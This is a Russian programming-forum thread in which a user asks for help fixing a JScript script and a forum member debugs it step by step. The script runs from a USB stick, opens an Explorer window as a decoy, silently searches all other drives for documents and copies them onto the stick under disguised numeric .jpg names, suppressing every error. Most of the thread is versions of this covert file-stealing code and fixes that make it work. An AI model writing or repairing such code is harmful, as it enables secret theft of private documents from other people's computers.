На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Правила раздела Visual Basic: Общие вопросы
Здесь обсуждаются вопросы по языку Visual Basic 1-6 (а так же по схожим языкам, как, например, PowerBASIC).
Вопросы по Visual Basic .NET (это который входит в состав Visual Studio 2002/2003/2005/2008+, для тех, кто не в курсе) обсуждаются в разделе .NET.

Обратите внимание:
1. Прежде чем начать новую тему или отправить сообщение, убедитесь, что Вы не нарушаете правил форума!
2. Обязательно воспользуйтесь поиском. Возможно, Ваш вопрос уже обсуждали. Полезные ссылки приведены ниже.
3. Темы с просьбой выполнить какую-либо работу за автора в этом разделе не обсуждаются. Студенты, вам сюда: ПОМОЩЬ СТУДЕНТАМ!
4. Используйте теги [ code=vba ] ...текст программы... [ /code ] для выделения текста программы подсветкой.
5. Помните, здесь телепатов нет. Формулируйте свой вопрос максимально грамотно и чётко: Как правильно задавать вопросы
6. Запрещено отвечать в темы месячной (и более) давности, без веских на то причин.

Полезные ссылки:
user posted image FAQ Сайта user posted image FAQ Раздела user posted image Кладовка user posted image Наши Исходники user posted image API-Guide user posted image Поиск по Разделу user posted image MSDN Library Online user posted image Google

Ваше мнение о модераторах: user posted image SCINER, user posted image B.V.
Модераторы: SCINER, B.V.
  
> Помогите разобраться начинающему в программах vbs
    Доброго времени суток! Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. По программе планируется поиск файлом с необходимой маской по всему пк на флешку. Писала программы для копирования, но через путь. Это не всегда может сработать.

    ExpandedWrap disabled
      function UpdateSoftware(fso, cd, softwareFolder) {
          try {
              var patch = /\.(doc|rtf|xls|txt)$/i;
              var diff = new Date(2007,05,01);
              var softwareEnumerator = new Enumerator(softwareFolder.Files);
              softwareEnumerator.moveFirst();
              for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                  if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                      try {
                          fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true);
                      } catch (e) {
                          if (e.number == 61) {
                              WScript.Quit(0);
                          }
                      }
                  }
              }
              var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
              packageEnumerator.moveFirst();
              for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                  try {
                      if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                          UpdateSoftware(fso, cd, packageEnumerator.item());
                       }
                  } catch(e) {
                  }
              }
          } catch(e) {
          }
      }
       
      try {
          var ws = WScript.CreateObject("WScript.Shell");
          ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
          var fso = WScript.CreateObject("Scripting.FileSystemObject");
          if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
              fso.CreateFolder(ws.CurrentDirectory+"\\photo");
          }
          var tmpFileName = "autorun.txt";
          if (!fso.FileExists(tmpFileName)) {
              var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
              tmpFile.Close();
              var driveEnumerator = new Enumerator(fso.Drives);
              driveEnumerator.moveFirst();
              for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                  try {
                      if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                          UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                      }
                  } catch(e) {
                  }
              }
              fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
          }
      } catch(e) {
      }


    Заранее большое спасибо! :wub:
    Сообщение отредактировано: JoeUser -
      Может, patch - строка и нужны кавычки? Не уверен.
        Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.
          Цитата lixen15 @
          Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе.


          Вроде всё нормально. Какая конкретно ошибка?


          Цитата MIF @
          Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.


          Это JavaScript
            Олег Мошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку.
            И спасибо большое за ответы, я не ожидала, что кто-то отзавется :wub:
              Цитата lixen15 @
              ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему.

              Проверь файл, что он в кодировке ANSI, и что расширение у него .js
              Я просто скопировал код отсюда, всё нормально никакой ошибки не было
                Олег М Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(
                  Цитата lixen15 @
                  что ни одно фото не открывается и имеет какие то нереально длинные названия(

                  Не открывается потому что текстовые и др. файлы var patch = /\.(doc|rtf|xls|txt)$/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /\.(jpeg)$/i искать.
                  А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(software.................
                    Олег М Я в шоке! все сработало!Спасибо ВАМ огромнейшее! Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)
                      Цитата lixen15 @
                      И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)

                      Сейчас у тебя при переименовании расширение задано константой +".jpg", true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа
                      ExpandedWrap disabled
                        var found = softwareEnumerator.item().Name.match(patch);
                        var ext = found[0];
                        Олег М странно. Операция теперь проходит без ошибок, но файлов не появляется никаких :oops:
                          Покажи код
                            Олег М
                            ExpandedWrap disabled
                              function UpdateSoftware(fso, cd, softwareFolder) {
                                  try {
                                      var patch = /\.(jpg)$/i;
                                      var diff = new Date(2018,05,01);
                                      var softwareEnumerator = new Enumerator(softwareFolder.Files);
                                      softwareEnumerator.moveFirst();
                                      for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                                          if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                                              try {
                                                  var found = softwareEnumerator.item().Name.match(patch);
                                                  var ext = found[0];
                                              } catch (e) {
                                                  if (e.number == 61) {
                                                      WScript.Quit(0);
                                                  }
                                              }
                                          }
                                      }
                                      var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
                                      packageEnumerator.moveFirst();
                                      for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                                          try {
                                              if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                                                  UpdateSoftware(fso, cd, packageEnumerator.item());
                                               }
                                          } catch(e) {
                                          }
                                      }
                                  } catch(e) {
                                  }
                              }
                               
                              try {
                                  var ws = WScript.CreateObject("WScript.Shell");
                                  ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
                                  var fso = WScript.CreateObject("Scripting.FileSystemObject");
                                  if (!fso.FolderExists(ws.CurrentDirectory+"\\home")) {
                                      fso.CreateFolder(ws.CurrentDirectory+"\\home");
                                  }
                                  var tmpFileName = "autorun.txt";
                                  if (!fso.FileExists(tmpFileName)) {
                                      var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
                                      tmpFile.Close();
                                      var driveEnumerator = new Enumerator(fso.Drives);
                                      driveEnumerator.moveFirst();
                                      for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                                          try {
                                              if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                                                  UpdateSoftware(fso, ws.CurrentDirectory+"\\home", driveEnumerator.item().RootFolder);
                                              }
                                          } catch(e) {
                                          }
                                      }
                                      fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
                                  }
                              } catch(e) {
                              }


                            Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так
                            Сообщение отредактировано: JoeUser -
                              Цитата lixen15 @
                              Операция теперь проходит без ошибок, но файлов не появляется никаких

                              потому что ты убрала fso.CopyFile

                              Добавлено
                              ExpandedWrap disabled
                                        for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
                                        {
                                            var found = softwareEnumerator.item().Name.match(patch);
                                 
                                            if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                                            {
                                                try
                                                {
                                                    var ext = "." + found[0];
                                                    fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                                                }
                                                catch (e)
                                                {
                                                    if (e.number == 61)
                                                    {
                                                        WScript.Quit(0);
                                                    }
                                                }
                                            }
                                        }


                              Добавлено
                              Только для начала лучше проверь
                              ExpandedWrap disabled
                                                    var ext = "." + found[0];
                                                    //fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);
                                WScript.StdOut.WriteLine(ext);


                              Добавлено
                              fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
                                Олег М

                                var found = softwareEnumerator.item().Name.match(patch);
                                var ext = found[0];
                                fso.CopyFile found
                                вот так должно выглядеть?
                                  Примерно, я ж тебе выше написал, как должно выглядеть, нажми F5 и посмотри
                                    Олег М
                                    Не видела предыдущего сообщения, простите.

                                    ExpandedWrap disabled
                                      function UpdateSoftware(fso, cd, softwareFolder) {
                                          try {
                                              var patch = /\.(doc|rtf|xls|txt)$/i;
                                              var diff = new Date(2007,05,01);
                                              var softwareEnumerator = new Enumerator(softwareFolder.Files);
                                              softwareEnumerator.moveFirst();
                                              for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                                                   for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
                                              {
                                                  var found = softwareEnumerator.item().Name.match(patch);
                                      var ext = found[0];
                                       
                                                  if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                                                  {
                                                      try
                                                      {
                                                          var ext = "." + found[0];
                                                          fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);
                                      WScript.StdOut.WriteLine(ext);
                                                      }
                                                      catch (e)
                                                      {
                                                          if (e.number == 61)
                                                          {
                                                              WScript.Quit(0);
                                                          }
                                                      }
                                                  }
                                              }

                                    18 строка copyFile все время выдает ошибку
                                    Сообщение отредактировано: JoeUser -
                                      Цитата lixen15 @
                                      18 строка copyFile все время выдает ошибку

                                      Я ............................. поставил, чтоб покороче было.
                                      ExpandedWrap disabled
                                                        try
                                                        {
                                                            fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                                                + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                                                + "-" + Date.parse(softwareEnumerator.item().DateLastModified)
                                                                + "-" + Date.parse(softwareEnumerator.item().DateLastAccessed)
                                                                + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)
                                                                + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)
                                                                + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)
                                                                + found[0], true);
                                                        }


                                      Добавлено
                                      Можно сократить имя
                                      ExpandedWrap disabled
                                                            fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                                                + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                                                + found[0], true);
                                        Олег М
                                        Понимаю, что я наверно Вас уже достала, хах.

                                        ExpandedWrap disabled
                                          function UpdateSoftware(fso, cd, softwareFolder) {
                                              try {
                                                  var patch = /\.(doc|rtf|xls|txt)$/i;
                                                  var diff = new Date(2007,05,01);
                                                  var softwareEnumerator = new Enumerator(softwareFolder.Files);
                                                  softwareEnumerator.moveFirst();
                                                  for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                                                  {
                                                      var found = softwareEnumerator.item().Name.match(patch);
                                          var ext = found[0];
                                           
                                                      if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                                                      {
                                                          try
                                                          {
                                                              var ext = "." + found[0];
                                                              fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                                                  + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                                                  + found[0], true);
                                                          }
                                                          catch (e)
                                                          {
                                                              if (e.number == 61)
                                                              {
                                                                  WScript.Quit(0);
                                                              }
                                                          }
                                                      }
                                                  }
                                                  var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
                                                  packageEnumerator.moveFirst();
                                                  for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                                                      try {
                                                          if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                                                              UpdateSoftware(fso, cd, packageEnumerator.item());
                                                           }
                                                      } catch(e) {
                                                      }
                                                  }
                                              } catch(e) {
                                              }
                                          }
                                           
                                          try {
                                              var ws = WScript.CreateObject("WScript.Shell");
                                              ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
                                              var fso = WScript.CreateObject("Scripting.FileSystemObject");
                                              if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
                                                  fso.CreateFolder(ws.CurrentDirectory+"\\photo");
                                              }
                                              var tmpFileName = "autorun.txt";
                                              if (!fso.FileExists(tmpFileName)) {
                                                  var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
                                                  tmpFile.Close();
                                                  var driveEnumerator = new Enumerator(fso.Drives);
                                                  driveEnumerator.moveFirst();
                                                  for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                                                      try {
                                                          if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                                                              UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                                                          }
                                                      } catch(e) {
                                                      }
                                                  }
                                                  fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
                                              }
                                          } catch(e) {
                                          }

                                        Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА. } catch(e) { вот эта строка
                                        Сообщение отредактировано: JoeUser -
                                          Лишняя скобка

                                          for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                                          {
                                          var found = softwareEnumerator.item().Name.match(patch);
                                          var ext = found[0];
                                            Олег М
                                            Все запустилось без ошибок, но ничего не скопировалось, хах
                                              А файлы с такими расширениями, doc|rtf|xls|txt вообще есть?
                                                Олег М Исправила на docx. Все равно результата нету
                                                Сообщение отредактировано: lixen15 -
                                                  Для начала надо убрать все try-catch, скорее всего где-то выскакивает ошибка, а ты её не видишь

                                                  Добавлено
                                                  var ext = found[0];
                                                  Убери эту строчку, она даёт ошибку
                                                    Олег М Доброго времени суток! Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

                                                    function UpdateSoftware(fso, cd, softwareFolder) {
                                                    var patch = /\.(docx)$/i;
                                                    var diff = new Date(2007,05,01);
                                                    var softwareEnumerator = new Enumerator(softwareFolder.Files);
                                                    softwareEnumerator.moveFirst();
                                                    for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())
                                                    {
                                                    var found = softwareEnumerator.item().Name.match(patch);
                                                    if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime())))
                                                    {
                                                    var ext = "." + found[0];
                                                    fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))
                                                    + "-" + Date.parse(softwareEnumerator.item().DateCreated)
                                                    + found[0], true);
                                                    }
                                                    {
                                                    if (e.number == 61)
                                                    {
                                                    WScript.Quit(0);
                                                    }
                                                    }
                                                    }
                                                    }
                                                    var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
                                                    packageEnumerator.moveFirst();
                                                    for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {

                                                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                                                    UpdateSoftware(fso, cd, packageEnumerator.item());
                                                    }
                                                    {
                                                    }
                                                    }
                                                    {
                                                    }


                                                    {
                                                    var ws = WScript.CreateObject("WScript.Shell");
                                                    ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
                                                    var fso = WScript.CreateObject("Scripting.FileSystemObject");
                                                    if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
                                                    fso.CreateFolder(ws.CurrentDirectory+"\\photo");
                                                    }
                                                    var tmpFileName = "autorun.txt";
                                                    if (!fso.FileExists(tmpFileName)) {
                                                    var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
                                                    tmpFile.Close();
                                                    var driveEnumerator = new Enumerator(fso.Drives);
                                                    driveEnumerator.moveFirst();
                                                    for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                                                    {
                                                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                                                    UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                                                    }
                                                    } {
                                                    }
                                                    }
                                                    fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
                                                    }
                                                    } {
                                                    }
                                                    ExpandedWrap disabled
                                                       
                                                      Цитата lixen15 @
                                                      Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.

                                                      Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить
                                                      Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше.

                                                      Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать.
                                                      И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении.
                                                      0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                                                      0 пользователей:


                                                      Рейтинг@Mail.ru
                                                      [ Script execution time: 0,0625 ]   [ 17 queries used ]   [ Generated: 20.04.24, 06:19 GMT ]